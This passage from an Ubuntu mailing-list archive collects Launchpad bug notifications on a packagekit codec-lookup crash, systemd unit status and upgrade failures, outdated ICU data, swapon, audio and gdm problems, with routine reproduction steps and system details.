the fix, but if there were one, we'd see different behavior in codec lookup.
+
+ For the duplicate delete on cancelled transactions, you'd be looking at
+ memory leaks if there were a regression.
[Other info]
The Ubuntu Error Tracker has been receiving reports about a problem regarding
packagekit. This problem was most recently seen with package version
1.1.10-1ubuntu2, the problem page at
https://errors.ubuntu.com/problem/46649a8a55e07e74b9d522c9bc9d71a74905ccc2
contains more details, including versions of packages affected, stacktrace or
traceback, and individual crash reports.
If you do not have access to the Ubuntu Error Tracker and are a software
developer, you can request it at http://forms.canonical.com/reports/.
** Changed in: packagekit (Ubuntu Bionic)
Status: New => Triaged
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to packagekit in Ubuntu.
https://bugs.launchpad.net/bugs/1790671
Title:
/usr/lib/packagekit/packagekitd:11:std::__cxx11::basic_string:AptIntf::providesCodec:backend_what_provides_thread:pk_backend_job_thread_setup:g_thread_proxy
Status in packagekit package in Ubuntu:
Fix Released
Status in packagekit source package in Bionic:
Triaged
Bug description:
[Impact]
pkcon what-provides and other tools querying codecs do not work, they crash
(unless you happen to be lucky with your apt cache). Also, cancalled
transactions crash as well, even if you're lucky with your apt cache, as the
"matcher" object is deleted twice.
There are two reasons: A duplicate delete statement in providesCodec
entered when cancelling the lookup, and a invalid pointer dereference
in there.
[Test case]
The daemon should not crash as below, but should print a useful message.
$ lxc launch -e ubuntu:bionic bbb
$ lxc exec bbb apt update
$ lxc exec bbb -- apt -y install packagekit
$ lxc exec bbb pkcon what-provides "gstreamer1.0(decoder-audio/ac3)"
[...] The daemon crashed mid-transaction!
(empty lxd container seems to be able to reproduce easily)
This only tests the pointer dereference, I don't have a test for the
duplicate. But the code is obviously correct:
for ... [
if (m_cancel) {
// here used to be "delete matcher" - that's deleted
break;
}
}
delete matcher;
That is, matcher is always deleted once now, and was always deleted
twice when cancelling before.
[Regression potential]
I don't think it's possible to have a regression here, given the nature of
the fix, but if there were one, we'd see different behavior in codec lookup.
For the duplicate delete on cancelled transactions, you'd be looking
at memory leaks if there were a regression.
[Other info]
The Ubuntu Error Tracker has been receiving reports about a problem regarding
packagekit. This problem was most recently seen with package version
1.1.10-1ubuntu2, the problem page at
https://errors.ubuntu.com/problem/46649a8a55e07e74b9d522c9bc9d71a74905ccc2
contains more details, including versions of packages affected, stacktrace or
traceback, and individual crash reports.
If you do not have access to the Ubuntu Error Tracker and are a software
developer, you can request it at http://forms.canonical.com/reports/.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1790671/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to :
[Touch-packages] [Bug 1795658] Re: xenial systemd reports 'inactive' instead of 'failed' for service units that repeatedly failed to restart / failed permanently
More details on the verification of test package from Launchpad PPA) --- Test-case) $ cat < Sep 29 10:59:00 havers systemd[1]: Started fail-on-restart.service. Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Main process exited, code=exited, status=1/FAILURE Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Unit entered failed state. Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Failed with result 'exit-code'. Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Service hold-off time over, scheduling restart. Sep 29 10:59:00 havers systemd[1]: Stopped fail-on-restart.service. Sep 29 10:59:00 havers systemd[1]: Started fail-on-restart.service. Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Main process exited, code=exited, status=1/FAILURE Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Unit entered failed state. Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Failed with result 'exit-code'. Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Service hold-off time over, scheduling restart. Sep 29 10:59:00 havers systemd[1]: Stopped fail-on-restart.service. Sep 29 10:59:00 havers systemd[1]: Started fail-on-restart.service. Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Main process exited, code=exited, status=1/FAILURE Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Unit entered failed state. Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Failed with result 'exit-code'. Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Service hold-off time over, scheduling restart. Sep 29 10:59:00 havers systemd[1]: Stopped fail-on-restart.service. Sep 29 10:59:00 havers systemd[1]: Started fail-on-restart.service. Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Main process exited, code=exited, status=1/FAILURE Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Unit entered failed state. Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Failed with result 'exit-code'. Sep 29 10:59:00 havers systemd[1]: fail-on-restart.service: Service hold-off time over, scheduling restart. Sep 29 10:59:00 havers systemd[1]: Stopped fail-on-restart.service. Sep 29 10:59:01 havers systemd[1]: Started fail-on-restart.service. Sep 29 10:59:01 havers systemd[1]: fail-on-restart.service: Main process exited, code=exited, status=1/FAILURE Sep 29 10:59:01 havers systemd[1]: fail-on-restart.service: Unit entered failed state. Sep 29 10:59:01 havers systemd[1]: fail-on-restart.service: Failed with result 'exit-code'. Sep 29 10:59:01 havers systemd[1]: fail-on-restart.service: Service hold-off time over, scheduling restart. Sep 29 10:59:01 havers systemd[1]: Stopped fail-on-restart.service. Sep 29 10:59:01 havers systemd[1]: fail-on-restart.service: Start request repeated too quickly. Sep 29 10:59:01 havers systemd[1]: Failed to start fail-on-restart.service. Package from PPA) $ sudo add-apt-repository ppa:mfo/sf199312 $ sudo apt-get update $ sudo apt-get install systemd After) "Active: failed (Result: start-limit-hit)" $ dpkg -s systemd | grep Version Version: 229-4ubuntu21.4+1.sf199312.20180928 $ sudo systemctl daemon-reload $ sudo systemctl start fail-on-restart $ systemctl status -n0 fail-on-restart ● fail-on-restart.service Loaded: loaded (/etc/systemd/system/fail-on-restart.service; static; vendor preset: enabled) Active: failed (Result: start-limit-hit) since Sat 2018-09-29 11:01:34 UTC; 4s ago Process: 7066 ExecStart=/bin/false (code=exited, status=1/FAILURE) Main PID: 7066 (code=exited, status=1/FAILURE) $ journalctl --no-pager -u fail-on-restart <...> Sep 29 11:01:33 havers systemd[1]: Started fail-on-restart.service. Sep 29 11:01:33 havers systemd[1]: fail-on-restart.service: Main process exited, code=exited, status=1/FAILURE Sep 29 11:01:33 havers systemd[1]: fail-on-restart.service: Unit entered failed state. Sep 29 11:01:33 havers systemd[1]: fail-on-restart.service: Failed with result 'exit-code'. Sep 29 11:01:33 havers systemd[1]: fail-on-restart.service: Service hold-off time over, scheduling restart. Sep 29 11:01:33 havers systemd[1]: Stopped fail-on-restart.service. Sep 29 11:01:33 havers systemd[1]: Started fail-on-restart.service. Sep 29 11:01:33 havers systemd[1]: fail-on-restart.service: Main process exited, code=exited, status=1/FAILURE Sep 29 11:01:33 havers systemd[1]: fail-on-restart.service: Unit entered failed state. Sep 29 11:01:33 havers systemd[1]: fail-on-restart.service: Failed with result 'exit-code'. Sep 29 11:01:33 havers systemd[1]: fail-on-restart.service: Service hold-off time over, scheduling restart. Sep 29 11:01:33 havers systemd[1]: Stopped fail-on-restart.service. Sep 29 11:01:34 havers systemd[1]: Started fail-on-restart.service. Sep 29 11:01:34 havers systemd[1]: fail-on-restart.service: Main process exited, code=exited, status=1/FAILURE Sep 29 11:01:34 havers systemd[1]:
[Touch-packages] [Bug 1795658] [NEW] xenial systemd reports 'inactive' instead of 'failed' for service units that repeatedly failed to restart / failed permanently
Public bug reported: [Impact] * In case a service unit has repeatedly failed to restart, it should be reported as 'failed' permanently, but currently it's instead reported as 'inactive'. * System monitoring tools that evaluate the status of systemd service units and act upon it (for example: restart service, report permanent failure) are currently misled by information in 'systemctl status .service'. * System management tools based on such information may take wrong and/or sub-optimal actions in the managed systems regarding such service units. * This systemd patch [1] directly addresses this issue (see systemd github PR #3166 [2]), and its code is still effectice in upstream systemd today, without further fixes/changes (the only changes were in doc text and the busname files that were removed, but still without further fixes to this). [Test Case] * This is copied from systemd PR #3166 [2]. * This has been tested by a customer as well, and with its system monitoring and management solution, for interoperability verification. $ cat
[Touch-packages] [Bug 1795654] Re: package systemd 229-4ubuntu21.4 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1
** Tags removed: need-duplicate-check -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1795654 Title: package systemd 229-4ubuntu21.4 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 Status in systemd package in Ubuntu: New Bug description: none ProblemType: Package DistroRelease: Ubuntu 16.04 Package: systemd 229-4ubuntu21.4 ProcVersionSignature: Ubuntu 3.13.0-160.210-generic 3.13.11-ckt39 Uname: Linux 3.13.0-160-generic x86_64 ApportVersion: 2.14.1-0ubuntu3.29 Architecture: amd64 Date: Tue Oct 2 09:36:51 2018 DuplicateSignature: package:systemd:229-4ubuntu21.4:subprocess installed post-installation script returned error exit status 1 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2014-04-18 (1627 days ago) InstallationMedia: Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub MachineType: DigitalOcean Droplet ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-160-generic root=UUID=050e1e34-39e6-4072-a03e-ae0bf90ba13a ro RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.0.1ubuntu2.18 SourcePackage: systemd SystemdDelta: [EXTENDED] /lib/systemd/system/systemd-timesyncd.service → /lib/systemd/system/systemd-timesyncd.service.d/disable-with-time-daemon.conf [EXTENDED] /lib/systemd/system/systemd-resolved.service → /lib/systemd/system/systemd-resolved.service.d/resolvconf.conf [EXTENDED] /lib/systemd/system/rc-local.service → /lib/systemd/system/rc-local.service.d/debian.conf 3 overridden configuration files found. Title: package systemd 229-4ubuntu21.4 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: Upgraded to xenial on 2018-10-02 (0 days ago) dmi.bios.date: 12/12/2017 dmi.bios.vendor: DigitalOcean dmi.bios.version: 20171212 dmi.chassis.type: 1 dmi.chassis.vendor: Bochs dmi.modalias: dmi:bvnDigitalOcean:bvr20171212:bd12/12/2017:svnDigitalOcean:pnDroplet:pvr20171212:cvnBochs:ct1:cvr: dmi.product.name: Droplet dmi.product.version: 20171212 dmi.sys.vendor: DigitalOcean To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1795654/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1790671] Re: /usr/lib/packagekit/packagekitd:11:std::__cxx11::basic_string:AptIntf::providesCodec:backend_what_provides_thread:pk_backend_job_thread_setup:g_thread_proxy
** Description changed: + [Impact] + pkcon what-provides and other tools querying codecs do not work, they crash (unless you happen to be lucky with your apt cache) + + [Test case] + The daemon should not crash as below, but should print a useful message. + + $ lxc launch -e ubuntu:bionic bbb + $ lxc exec bbb apt update + $ lxc exec bbb -- apt -y install packagekit + $ lxc exec bbb pkcon what-provides "gstreamer1.0(decoder-audio/ac3)" + [...] The daemon crashed mid-transaction! + + (empty lxd container seems to be able to reproduce easily) + + [Regression potential] + I don't think it's possible to have a regression here, given the nature of the fix, but if there were one, we'd see different behavior in codec lookup. + + [Other info] The Ubuntu Error Tracker has been receiving reports about a problem regarding packagekit. This problem was most recently seen with package version 1.1.10-1ubuntu2, the problem page at https://errors.ubuntu.com/problem/46649a8a55e07e74b9d522c9bc9d71a74905ccc2 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1790671 Title: /usr/lib/packagekit/packagekitd:11:std::__cxx11::basic_string:AptIntf::providesCodec:backend_what_provides_thread:pk_backend_job_thread_setup:g_thread_proxy Status in packagekit package in Ubuntu: Fix Released Status in packagekit source package in Bionic: New Bug description: [Impact] pkcon what-provides and other tools querying codecs do not work, they crash (unless you happen to be lucky with your apt cache) [Test case] The daemon should not crash as below, but should print a useful message. $ lxc launch -e ubuntu:bionic bbb $ lxc exec bbb apt update $ lxc exec bbb -- apt -y install packagekit $ lxc exec bbb pkcon what-provides "gstreamer1.0(decoder-audio/ac3)" [...] The daemon crashed mid-transaction! (empty lxd container seems to be able to reproduce easily) [Regression potential] I don't think it's possible to have a regression here, given the nature of the fix, but if there were one, we'd see different behavior in codec lookup. [Other info] The Ubuntu Error Tracker has been receiving reports about a problem regarding packagekit. This problem was most recently seen with package version 1.1.10-1ubuntu2, the problem page at https://errors.ubuntu.com/problem/46649a8a55e07e74b9d522c9bc9d71a74905ccc2 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1790671/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795657] [NEW] /usr/share/unattended-upgrades/unattended-upgrade-shutdown:ProcessLookupError:/usr/share/unattended-upgrades/unattended-upgrade-shutdown@170:signal_stop_unattended
Public bug reported: The Ubuntu Error Tracker has been receiving reports about a problem regarding unattended-upgrades. This problem was most recently seen with package version 1.1ubuntu1.18.04.5, the problem page at https://errors.ubuntu.com/problem/12ed316a816a195a30f4c94945e701443268e68b contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. ** Affects: unattended-upgrades (Ubuntu) Importance: Undecided Status: New ** Tags: bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unattended-upgrades in Ubuntu. https://bugs.launchpad.net/bugs/1795657 Title: /usr/share/unattended-upgrades/unattended-upgrade- shutdown:ProcessLookupError:/usr/share/unattended-upgrades/unattended- upgrade-shutdown@170:signal_stop_unattended_upgrade Status in unattended-upgrades package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding unattended-upgrades. This problem was most recently seen with package version 1.1ubuntu1.18.04.5, the problem page at https://errors.ubuntu.com/problem/12ed316a816a195a30f4c94945e701443268e68b contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/unattended-upgrades/+bug/1795657/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1784485] Re: [ZenBook S UX391UA, Realtek ALC294, Mic, Internal] No sound at all
I am experiencing the same problem running Ubuntu and Windows 10 on the same Zenbook model. Sound working on Windows 10 but not on Ubuntu 18.04. I have not managed to solve the problem. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1784485 Title: [ZenBook S UX391UA, Realtek ALC294, Mic, Internal] No sound at all Status in alsa-driver package in Ubuntu: Confirmed Bug description: Internal speaker - not sound at all Cable Headphonse - realy quiet disorted sound Bluetooth headphones - sound works fine On Windows 10 everything works fine. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: pmichalski 7964 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Mon Jul 30 22:32:10 2018 InstallationDate: Installed on 2018-07-17 (12 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) PackageArchitecture: all ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=pl_PL.UTF-8 SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Symptom_AlsaRecordingTest: ALSA recording test through plughw:PCH failed Symptom_Card: Wbudowany dźwięk - HDA Intel PCH Symptom_DevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: gdm2988 F pulseaudio pmichalski 7964 F pulseaudio Symptom_Jack: Mic, Internal Symptom_Type: No sound at all Title: [ZenBook S UX391UA, Realtek ALC294, Mic, Internal] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 05/18/2018 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX391UA.204 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX391UA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX391UA.204:bd05/18/2018:svnASUSTeKCOMPUTERINC.:pnZenBookSUX391UA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX391UA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.family: ZenBook S dmi.product.name: ZenBook S UX391UA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1784485/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795358] Re: FTBFS with MySQL 8.0
This has been fixed in https://code.qt.io/cgit/qt/qtbase.git/commit/?id=818ab021f5fbeedd, which will be part of Qt 5.12. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to qtbase-opensource-src in Ubuntu. https://bugs.launchpad.net/bugs/1795358 Title: FTBFS with MySQL 8.0 Status in qtbase-opensource-src package in Ubuntu: New Bug description: MySQL 8.0 removes the my_bool symbol, and it should simply be replaced with int or bool (this is also backwards-compatible with older versions of MySQL) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/qtbase-opensource-src/+bug/1795358/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795654] [NEW] package systemd 229-4ubuntu21.4 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1
Public bug reported: none ProblemType: Package DistroRelease: Ubuntu 16.04 Package: systemd 229-4ubuntu21.4 ProcVersionSignature: Ubuntu 3.13.0-160.210-generic 3.13.11-ckt39 Uname: Linux 3.13.0-160-generic x86_64 ApportVersion: 2.14.1-0ubuntu3.29 Architecture: amd64 Date: Tue Oct 2 09:36:51 2018 DuplicateSignature: package:systemd:229-4ubuntu21.4:subprocess installed post-installation script returned error exit status 1 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2014-04-18 (1627 days ago) InstallationMedia: Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub MachineType: DigitalOcean Droplet ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-160-generic root=UUID=050e1e34-39e6-4072-a03e-ae0bf90ba13a ro RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.0.1ubuntu2.18 SourcePackage: systemd SystemdDelta: [EXTENDED] /lib/systemd/system/systemd-timesyncd.service → /lib/systemd/system/systemd-timesyncd.service.d/disable-with-time-daemon.conf [EXTENDED] /lib/systemd/system/systemd-resolved.service → /lib/systemd/system/systemd-resolved.service.d/resolvconf.conf [EXTENDED] /lib/systemd/system/rc-local.service → /lib/systemd/system/rc-local.service.d/debian.conf 3 overridden configuration files found. Title: package systemd 229-4ubuntu21.4 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: Upgraded to xenial on 2018-10-02 (0 days ago) dmi.bios.date: 12/12/2017 dmi.bios.vendor: DigitalOcean dmi.bios.version: 20171212 dmi.chassis.type: 1 dmi.chassis.vendor: Bochs dmi.modalias: dmi:bvnDigitalOcean:bvr20171212:bd12/12/2017:svnDigitalOcean:pnDroplet:pvr20171212:cvnBochs:ct1:cvr: dmi.product.name: Droplet dmi.product.version: 20171212 dmi.sys.vendor: DigitalOcean ** Affects: systemd (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package third-party-packages uec-images xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1795654 Title: package systemd 229-4ubuntu21.4 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 Status in systemd package in Ubuntu: New Bug description: none ProblemType: Package DistroRelease: Ubuntu 16.04 Package: systemd 229-4ubuntu21.4 ProcVersionSignature: Ubuntu 3.13.0-160.210-generic 3.13.11-ckt39 Uname: Linux 3.13.0-160-generic x86_64 ApportVersion: 2.14.1-0ubuntu3.29 Architecture: amd64 Date: Tue Oct 2 09:36:51 2018 DuplicateSignature: package:systemd:229-4ubuntu21.4:subprocess installed post-installation script returned error exit status 1 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2014-04-18 (1627 days ago) InstallationMedia: Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub MachineType: DigitalOcean Droplet ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-160-generic root=UUID=050e1e34-39e6-4072-a03e-ae0bf90ba13a ro RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.0.1ubuntu2.18 SourcePackage: systemd SystemdDelta: [EXTENDED] /lib/systemd/system/systemd-timesyncd.service → /lib/systemd/system/systemd-timesyncd.service.d/disable-with-time-daemon.conf [EXTENDED] /lib/systemd/system/systemd-resolved.service → /lib/systemd/system/systemd-resolved.service.d/resolvconf.conf [EXTENDED] /lib/systemd/system/rc-local.service → /lib/systemd/system/rc-local.service.d/debian.conf 3 overridden configuration files found. Title: package systemd 229-4ubuntu21.4 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: Upgraded to xenial on 2018-10-02 (0 days ago) dmi.bios.date: 12/12/2017 dmi.bios.vendor: DigitalOcean dmi.bios.version: 20171212 dmi.chassis.type: 1 dmi.chassis.vendor: Bochs dmi.modalias: dmi:bvnDigitalOcean:bvr20171212:bd12/12/2017:svnDigitalOcean:pnDroplet:pvr20171212:cvnBochs:ct1:cvr: dmi.product.name: Droplet dmi.product.version: 20171212 dmi.sys.vendor: DigitalOcean To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1795654/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795651] [NEW] ICU data package is grossly outdated
Public bug reported: The data package compiled into supplied ICU libs is extremely out of date. I.e. the timezone information in libicu52 (Ubuntu 14) is as old as 2013g. The "newest" shipped tzdata in Bionic is 2017c, which is about as "new" as the one in Trusty. Means, pretty much rotten by now. It wouldn't be so hard to override it with env. vars, if not for applications, which intentionally clear environments at startup. F.e. PHP FPM. ** Affects: icu (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to icu in Ubuntu. https://bugs.launchpad.net/bugs/1795651 Title: ICU data package is grossly outdated Status in icu package in Ubuntu: New Bug description: The data package compiled into supplied ICU libs is extremely out of date. I.e. the timezone information in libicu52 (Ubuntu 14) is as old as 2013g. The "newest" shipped tzdata in Bionic is 2017c, which is about as "new" as the one in Trusty. Means, pretty much rotten by now. It wouldn't be so hard to override it with env. vars, if not for applications, which intentionally clear environments at startup. F.e. PHP FPM. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/icu/+bug/1795651/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1788321] Re: swapon failed: invalid argument
Last kernel 4.15.0-36-generic #39-Ubuntu i686 fixes the issue for me. Could you try, please? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to util-linux in Ubuntu. https://bugs.launchpad.net/bugs/1788321 Title: swapon failed: invalid argument Status in linux package in Ubuntu: Confirmed Status in util-linux package in Ubuntu: Invalid Bug description: Environment: - Ubuntu 18.04.1 LTS - Linux 4.15.0-32-generic i686 Description: When I try to mount my swap partition or my swap file, I get "swapon failed: invalid argument" . Steps to reproduce: 1) sudo bash 2) dd if=/dev/zero of=/swapfile bs=1024 count=524288 3) mkswap /swapfile 4) chown root:root /swapfile 5) chmod 0600 /swapfile 6) swapon /swapfile Last execution returns "swapon failed: invalid argument" . I'm almost sure it's a bug because I have no problems using Linux 4.15.0-29-generic instead of Linux 4.15.0-32-generic. Also, no problems using Ubuntu 18.04.1 LTS Live CD. Regards. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788321/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794280] Re: gdm doesn't start on a fresh installation of Cosmic Desktop
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: kmod (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to kmod in Ubuntu. https://bugs.launchpad.net/bugs/1794280 Title: gdm doesn't start on a fresh installation of Cosmic Desktop Status in gdm3 package in Ubuntu: Won't Fix Status in kmod package in Ubuntu: Confirmed Status in linux package in Ubuntu: Confirmed Status in xorg-server package in Ubuntu: Confirmed Status in gdm3 source package in Cosmic: Won't Fix Status in kmod source package in Cosmic: Confirmed Status in linux source package in Cosmic: Confirmed Status in xorg-server source package in Cosmic: Confirmed Bug description: ubuntu cosmic desktop 20180925 After installation gdm fails to start and there is only a black screen with a blinking cursor on the top left of the screen. gdm3 can be started manually from a tty When this issue happens there is a plymouth crash reported in bug 1794292 ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: gdm3 3.30.0-0ubuntu2 ProcVersionSignature: Ubuntu 4.18.0-7.8-generic 4.18.5 Uname: Linux 4.18.0-7-generic x86_64 ApportVersion: 2.20.10-0ubuntu11 Architecture: amd64 Date: Tue Sep 25 13:54:45 2018 InstallationDate: Installed on 2018-09-25 (0 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Alpha amd64 (20180925) ProcEnviron: TERM=linux PATH=(custom, no user) LANG=fr_FR.UTF-8 SHELL=/bin/bash SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) mtime.conffile..etc.gdm3.custom.conf: 2018-09-25T13:49:41.053012 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1794280/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794280] Re: gdm doesn't start on a fresh installation of Cosmic Desktop
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: xorg-server (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to kmod in Ubuntu. https://bugs.launchpad.net/bugs/1794280 Title: gdm doesn't start on a fresh installation of Cosmic Desktop Status in gdm3 package in Ubuntu: Won't Fix Status in kmod package in Ubuntu: Confirmed Status in linux package in Ubuntu: Confirmed Status in xorg-server package in Ubuntu: Confirmed Status in gdm3 source package in Cosmic: Won't Fix Status in kmod source package in Cosmic: Confirmed Status in linux source package in Cosmic: Confirmed Status in xorg-server source package in Cosmic: Confirmed Bug description: ubuntu cosmic desktop 20180925 After installation gdm fails to start and there is only a black screen with a blinking cursor on the top left of the screen. gdm3 can be started manually from a tty When this issue happens there is a plymouth crash reported in bug 1794292 ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: gdm3 3.30.0-0ubuntu2 ProcVersionSignature: Ubuntu 4.18.0-7.8-generic 4.18.5 Uname: Linux 4.18.0-7-generic x86_64 ApportVersion: 2.20.10-0ubuntu11 Architecture: amd64 Date: Tue Sep 25 13:54:45 2018 InstallationDate: Installed on 2018-09-25 (0 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Alpha amd64 (20180925) ProcEnviron: TERM=linux PATH=(custom, no user) LANG=fr_FR.UTF-8 SHELL=/bin/bash SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) mtime.conffile..etc.gdm3.custom.conf: 2018-09-25T13:49:41.053012 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1794280/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
